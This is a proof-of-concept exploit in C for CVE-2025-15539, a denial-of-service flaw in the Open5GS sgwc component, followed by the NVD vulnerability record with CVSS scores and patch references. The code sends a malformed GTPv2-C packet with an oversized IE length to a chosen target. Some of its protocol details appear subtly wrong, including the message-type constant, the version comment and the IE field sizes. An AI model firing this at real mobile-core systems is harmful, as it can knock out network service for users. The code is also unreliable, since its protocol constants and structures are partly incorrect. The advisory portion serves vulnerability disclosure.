CVE-2025-15539

/* * CVE-2025-15539 PoC - Open5GS sgwc DoS * Target: Open5GS sgwc_s11_handle_downlink_data_notification_ack * This PoC demonstrates sending a malformed S11 GTPv2-C message * to trigger the denial of service condition. * * Note: This is for educational and authorized testing purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> // GTPv2-C Message Types #define GTP2C_DOWNLINK_DATA_NOTIFICATION_ACK 0xBF // GTPv2-C Header Structure typedef struct { uint8_t flags; uint8_t message_type; uint16_t length; uint32_t teid; uint32_t sequence; uint8_t spare[2]; } __attribute__((packed)) gtp2c_header_t; // Malformed IE for triggering the vulnerability typedef struct { uint16_t type; uint16_t length; uint8_t value[4]; } __attribute__((packed)) ie_t; void send_malformed_packet(const char *target_ip, int port) { int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock < 0) { perror("Socket creation failed"); return; } struct sockaddr_in target; memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(port); inet_pton(AF_INET, target_ip, &target.sin_addr); // Construct malformed GTPv2-C packet unsigned char packet[256]; memset(packet, 0, sizeof(packet)); gtp2c_header_t *hdr = (gtp2c_header_t *)packet; hdr->flags = 0x40; // Version 1, no TEID present hdr->message_type = GTP2C_DOWNLINK_DATA_NOTIFICATION_ACK; hdr->length = htons(12); // Minimal length hdr->teid = 0; hdr->sequence = htonl(0x000001); // Malformed IE that triggers the vulnerability ie_t *ie = (ie_t *)(packet + sizeof(gtp2c_header_t)); ie->type = 0x00; // Invalid IE type ie->length = htons(0xFFFF); // Oversized length memset(ie->value, 0xFF, 4); printf("[*] Sending malformed GTPv2-C packet to %s:%d\n", target_ip, port); printf("[*] Message Type: 0x%02X (DOWNLINK_DATA_NOTIFICATION_ACK)\n", GTP2C_DOWNLINK_DATA_NOTIFICATION_ACK); int sent = sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target, sizeof(target)); printf("[*] Sent %d bytes\n", sent); close(sock); } int main(int argc, char *argv[]) { if (argc < 3) { printf("Usage: %s <target_ip> <port>\n", argv[0]); printf("Example: %s 192.168.1.100 2123\n", argv[0]); return 1; } send_malformed_packet(argv[1], atoi(argv[2])); return 0; }

{"cve": {"id": "CVE-2025-15539", "sourceIdentifier": "[email protected]", "published": "2026-01-19T00:15:47.693", "lastModified": "2026-02-23T09:16:29.690", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Open5GS up to 2.7.6. Impacted is the function sgwc_s11_handle_downlink_data_notification_ack of the file src/sgwc/s11-handler.c of the component sgwc. This manipulation causes denial of service. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Patch name: b4707272c1caf6a7d4dca905694ea55557a0545f. To fix this issue, it is recommended to deploy a patch. The issue report is flagged as already-fixed."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Open5GS hasta la versión 2.7.6. La función afectada es sgwc_s11_handle_downlink_data_notification_ack del archivo src/sgwc/s11-handler.c del componente sgwc. Esta manipulación causa denegación de servicio. El ataque puede iniciarse de forma remota. El exploit ha sido divulgado públicamente y puede ser utilizado. Nombre del parche: b4707272c1caf6a7d4dca905694ea55557a0545f. Para solucionar este problema, se recomienda desplegar un parche. El informe del problema está marcado como ya solucionado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7.6", "matchCriteriaId": "9C77332A-BAA3-4FE7-A237-B87F175C6F48"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/commit/b4707272c1caf6a7d4dca905694ea55557a0545f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/open5gs/open5gs/issues/4230", "so ... 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